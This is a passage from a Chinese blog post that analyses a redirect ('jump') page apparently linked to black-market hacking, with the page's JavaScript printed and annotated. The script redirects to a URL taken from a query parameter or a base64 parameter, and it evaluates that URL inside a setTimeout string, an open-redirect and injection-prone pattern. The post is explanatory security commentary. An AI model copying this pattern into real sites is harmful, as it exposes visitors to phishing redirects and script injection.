class="property">location</span>.<span class="property">search</span>.<span class="title function_">substr</span>(<span class="number">1</span>).<span class="title function_">match</span>(reg);</span></span><br><span class="line"><span class="language-javascript">                <span class="keyword">if</span> (r != <span class="literal">null</span>) <span class="keyword">return</span> <span class="built_in">decodeURI</span>(<span class="built_in">decodeURI</span>(r[<span class="number">2</span>])); <span class="keyword">return</span> <span class="literal">null</span>;</span></span><br><span class="line"><span class="language-javascript">            &#125;</span></span><br><span class="line"><span class="language-javascript">        &#125;)(jQuery);</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">var</span> u = $.<span class="title function_">getUrlParam</span>(<span class="string">&quot;u&quot;</span>) || <span class="title function_">atob</span>($.<span class="title function_">getUrlParam</span>(<span class="string">&quot;d&quot;</span>)) || <span class="string">&quot;https://51.ruyo.net&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">if</span> (u.<span class="title function_">toUpperCase</span>().<span class="title function_">indexOf</span>(<span class="string">&quot;HTTP&quot;</span>) == <span class="number">0</span> &amp;&amp; <span class="variable language_">document</span>.<span class="property">referrer</span>.<span class="title function_">toUpperCase</span>().<span class="title function_">indexOf</span>(<span class="string">&quot;//51.RUYO.NET&quot;</span>) &gt; <span class="number">0</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;atag&quot;</span>).<span class="property">href</span>=u;</span></span><br><span class="line"><span class="language-javascript">            <span class="built_in">setTimeout</span>(<span class="string">&quot;javascript:location.href=&#x27;&quot;</span> + u + <span class="string">&quot;&#x27;&quot;</span>, <span class="number">20000</span>);</span></span><br><span class="line"><span class="language-javascript">        &#125; <span class="keyword">else</span> &#123;</span></span><br><span class="line"><span class="language-javascript">            location.<span class="property">href</span> = <span class="string">&quot;https://51.ruyo.net&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">        &#125;</span></span><br><span class="line"><span class="language-javascript">    </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">var</span> _hmt = _hmt || [];</span></span><br><span class="line"><span class="language-javascript">        (<span class="keyword">function</span> (<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">var</span> hm = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&quot;script&quot;</span>);</span></span><br><span class="line"><span class="language-javascript">            hm.<span class="property">src</span> = <span class="string">&quot;//hm.baidu.com/hm.js?0bd90052898d11e61495657b34d773e3&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">var</span> s = <span class="variable language_">document</span>.<span class="title function_">getElementsByTagName</span>(<span class="string">&quot;script&quot;</span>)[<span class="number">0</span>];</span></span><br><span class="line"><span class="language-javascript">            s.<span class="property">parentNode</span>.<span class="title function_">insertBefore</span>(hm, s);</span></span><br><span class="line"><span class="language-javascript">        &#125;)();</span></span><br><span class="line"><span class="language-javascript">    </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>核心代码</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">(<span class="keyword">function</span> (<span class="params">$</span>) &#123;</span><br><span class="line">    <span class="comment">//获取url参数</span></span><br><span class="line">    $.getUrlParam = <span class="keyword">function</span> (<span class="params">name</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> reg = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&quot;(^|&amp;)&quot;</span> + name + <span class="string">&quot;=([^&amp;]*)(&amp;|$)&quot;</span>);</span><br><span class="line">        <span class="keyword">var</span> r = <span class="variable language_">window</span>.<span class="property">location</span>.<span class="property">search</span>.<span class="title function_">substr</span>(<span class="number">1</span>).<span class="title function_">match</span>(reg);</span><br><span class="line">        <span class="keyword">if</span> (r != <span class="literal">null</span>) <span class="keyword">return</span> <span class="built_in">decodeURI</span>(<span class="built_in">decodeURI</span>(r[<span class="number">2</span>])); <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;)(jQuery);</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * u = 要跳转的地址 </span></span><br><span class="line"><span class="comment"> * d = 经过Base64编码后的地址 </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">var</span> u = $.<span class="title function_">getUrlParam</span>(<span class="string">&quot;u&quot;</span>) || <span class="title function_">atob</span>($.<span class="title function_">getUrlParam</span>(<span class="string">&quot;d&quot;</span>)) || <span class="string">&quot;https://51.ruyo.net&quot;</span>;</span><br><span class="line"><span class="comment">//toUpperCase() 方法用于把字符串转换为大写。</span></span><br><span class="line"><span class="comment">//indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。如果没有找到匹配的字符串则返回 -1。注意： indexOf() 方法区分大小写。</span></span><br><span class="line"><span class="comment">//要跳转的链接，HTTP 必须是头部 0开始</span></span><br><span class="line"><span class="comment">//document.referrer 属性返回载入当前文档的来源文档的URL</span></span><br><span class="line"><span class="keyword">if</span> (u.<span class="title function_">toUpperCase</span>().<span class="title function_">indexOf</span>(<span class="string">&quot;HTTP&quot;</span>) == <span class="number">0</span> &amp;&amp; <span class="variable language_">document</span>.<span class="property">referrer</span>.<span class="title function_">toUpperCase</span>().<span class="title function_">indexOf</span>(<span class="string">&quot;//51.RUYO.NET&quot;</span>) &gt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&quot;atag&quot;</span>).<span class="property">href</span>=u;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="string">&quot;javascript:location.href=&#x27;&quot;</span> + u + <span class="string">&quot;&#x27;&quot;</span>, <span class="number">20000</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    location.<span class="property">href</span> = <span class="string">&quot;https://51.ruyo.net&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>​	之前的代码看不到，但就目前的代码来说可以吧，但是局限性也是有的，例如只能跳转http或者https的链接其他的不可以，也满足正常的用法。对比了下我目前所用的《<a href="https://nobige.cn/post/20190212-xternalChainJump/">HEXO下js实现外链跳转html-php页面效果代码</a>》，支持各种下载链接等，虽说强大但也未必是件好事。各有千秋吧。</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>​	一开始看到的时候还是挺害怕的，毕竟自己也有相同功能的跳转页面，虽说启用前先做了下简单的测试，但还是有点心虚，毕竟人上有人，更何况这些黑产人员的经验远比我这搬砖小白高。正所谓功夫再高也怕菜刀。</p>
<p>​	一个简简单单的跳转页面都能扯出这么多的东西来，<strong>网络安全不可忽视。</strong></p>
<p>​	js的很多函数虽说认识但是解释起来怕说不清楚，也怕误导了看文章的人。所以都是引用菜鸟教程的原话，具有一定的参考价值。自己也重新认识了下。</p>
<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul>
<li><a href="/go.html?u=https://urlscan.io/result/fbea2962-fc8b-41fa-a000-98f0bc35f372/content/">xs.js 代码 - c.bqaki.cn - urlscan.io</a></li>
<li><a href="/go.html?u=https://urlscan.io/result/4d1b0759-30ba-487e-ac82-1533c46577bb/content/">mm.js代码 - c.bqaki.cn - urlscan.io</a></li>
<li><a href="/go.html?u=https://www.runoob.com/jsref/met-win-atob.html">Window atob() 方法 | 菜鸟教程</a></li>
<li><a href="/go.html?u=https://www.runoob.com/jsref/jsref-eval.html">JavaScript eval() 函数 | 菜鸟教程</a></li>
<li><a href="/go.html?u=https://www.runoob.com/jquery/traversing-parent.html">jQuery parent() 方法 | 菜鸟教程</a></li>
<li><a href="/go.html?u=https://www.runoob.com/jsref/jsref-fromcharcode.html">JavaScript fromCharCode() 方法 | 菜鸟教程</a></li>
<li><a href="/go.html?u=https://www.runoob.com/jsref/jsref-tolowercase.html">JavaScript toLowerCase() 方法 | 菜鸟教程</a></li>
<li><a href="/go.html?u=https://www.runoob.com/jsref/jsref-unescape.html">JavaScript unescape() 函数 | 菜鸟教程</a></li>
<li><a href="/go.html?u=https://www.runoob.com/jsref/jsref-indexof.html">JavaScript indexOf() 方法 | 菜鸟教程</a></li>
<li><a href="/go.html?u=https://www.runoob.com/jsref/prop-doc-referrer.html">HTML DOM referrer 属性 | 菜鸟教程</a></li>
<li><a href="/go.html?u=https://www.runoob.com/jsref/jsref-touppercase.html">JavaScript toUpperCase() 方法 | 菜鸟教程</a></li>
<li><a href="/go.html?u=https://51.ruyo.net/13582.html">博客网址分享微信，显示已停止访问该网页(已解封) - 教程资源|网络资源 - 如有乐享</a></li>
<li><a href="/go.html?u=https://unsplash.com/photos/SBPO8p4Uqdo">壁纸 - Home decor, ceiling fan, appliance and indoors | HD photo by 蔡 世宏 (@johnccc) on Unsplash</a></li>
</ul>

    </div>

    
    
    

    <footer class="post-footer">
          <div class="post-tags">
              <a href="/tags/js/" rel="tag"># js</a>
              <a href="/tags/%E8%B7%B3%E8%BD%AC/" rel="tag"># 跳转</a>
              <a href="/tags/%E9%BB%91%E5%AE%A2/" rel="tag"># 黑客</a>
              <a href="/tags/%E9%BB%91%E4%BA%A7/" rel="tag"># 黑产</a>
              <a href="/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/" rel="tag"># 网络安全</a>
          </div>

        

          <div class="post-nav">
            <div class="post-nav-item">
                <a href="/post/20190729-WindowsOS_cong_xia_zai_dao_ji_huo_dao_ban/" rel="prev" title="WindowsOS从下载到激活盗版">
                  <i class="fa fa-chevron-left"></i> WindowsOS从下载到激活盗版
                </a>
            </div>
            <div class="post-nav-item">
                <a href="/post/20190731-BookmarkSync_shu_qian_tong_bu_cha_jian/" rel="next" title="BookmarkSync书签同步插件">
                  BookmarkSync书签同步插件 <i class="fa fa-chevron-right"></i>
                </a>
            </div>
          </div>
    </footer>
  </article>
</div>






    
  <div class="comments" id="disqus_thread">
    <noscript>Please enable JavaScript to view the comments powered by Disqus.</noscript>
  </div>
  
</div>
  </main>

  <footer class="footer">
    <div class="footer-inner">


<div class="copyright">
  &copy; 
  <span itemprop="copyrightYear">2024</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">JackCh3n</span>
</div>
<div class="busuanzi-count">
    <span class="post-meta-item" id="busuanzi_container_site_uv">
      <span class="post-meta-item-icon">
        <i class="fa fa-user"></i>
      </span>
      <span class="site-uv" title="Total Visitors">
        <span id="busuanzi_value_site_uv"></span>
      </span>
    </span>
    <span class="post-meta-item" id="busuanzi_container_site_pv">
      <span class="post-meta-item-icon">
        <i class="fa fa-eye"></i>
      </span>
      <span class="site-pv" title="Total Views">
        <span id="busuanzi_value_site_pv"></span>
      </span>
    </span>
</div>
  <div class="powered-by">Powered by <a href="https://hexo.io/" rel="noopener" target="_blank">Hexo</a> & <a href="https://theme-next.js.org/" rel="noopener" target="_blank">NexT.Gemini</a>
  </div>
    <br/>Powerful CDN service provided by 
  <a target="_blank" rel="noopener" href="https://www.upyun.com/?utm_source=lianmeng&utm_medium=referral" style="border:none"><img src="https://www.wulihub.com.cn/gc/Wez0VG/images/upyun_logo.png" height="66" style="display: list-item;" alt="upyun"></a> 
  <a target="_blank" rel="noopener" href="https://www.jsdelivr.com" style="border:none"><img src="https://www.wulihub.com.cn/gc/Wez0VG/images/jsdelivr_logo.svg" height="50" style="display: list-item;" alt="JsDelivr"></a>
  <p>
  <br/><a target="_blank" rel="noopener" href="https://pages.github.com/?f=nobige">Github Pages</a>&nbsp;&nbsp;<a target="_blank" rel="noopener" href="https://vercel.com/?f=nobige">Vercel</a>&nbsp;&nbsp;<a target="_blank" rel="noopener" href="https://www.netlify.com/?f=nobige">Netlify</a>&nbsp;&nbsp;<a target="_blank" rel="noopener" href="https://coding.net/?f=nobige">coding</a>&nbsp;&nbsp;provides static publishing
  </p>

    </div>
  </footer>

  
  <script src="https://npm.elemecdn.com/animejs@3.2.1/lib/anime.min.js" integrity="sha256-XL2inqUJaslATFnHdJOi9GfQ60on8Wx1C2H8DYiN1xY=" crossorigin="anonymous"></script>
<script src="https://www.wulihub.com.cn/gc/Wez0VG/js/comments.js"></script><script src="https://www.wulihub.com.cn/gc/Wez0VG/js/utils.js"></script><script src="https://www.wulihub.com.cn/gc/Wez0VG/js/motion.js"></script><script src="https://www.wulihub.com.cn/gc/Wez0VG/js/next-boot.js"></script>

  
<script src="https://npm.elemecdn.com/hexo-generator-searchdb@1.4.0/dist/search.js" integrity="sha256-vXZMYLEqsROAXkEw93GGIvaB2ab+QW6w3+1ahD9nXXA=" crossorigin="anonymous"></script>
<script src="https://www.wulihub.com.cn/gc/Wez0VG/js/third-party/search/local-search.js"></script>





  
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>




<link rel="stylesheet" href="https://npm.elemecdn.com/disqusjs@1.3.0/dist/disqusjs.css" integrity="sha256-GxdCIOyfxQ1OBfS99qAIJDoGK1ADuBsxhMTqXG82fAY=" crossorigin="anonymous">

<script class="next-config" data-name="disqusjs" type="application/json">{"enable":true,"api":"https://duosuo.nobige.cn/","apikey":"Kmo9kPwsir7ppp8tGpeGROCmUtW8tdZBOdBVowPC67xVfTS5uV1wr6s4kckvP95m","shortname":"nobige","js":{"url":"https://npm.elemecdn.com/disqusjs@1.3.0/dist/disqus.js","integrity":"sha256-LVaMHPQ2zLqOc5rXSAfr4d1PIkEGNLyyUTDNPZmTtUw="}}</script>
<script src="https://www.wulihub.com.cn/gc/Wez0VG/js/third-party/comments/disqusjs.js"></script>

</body>
</html>
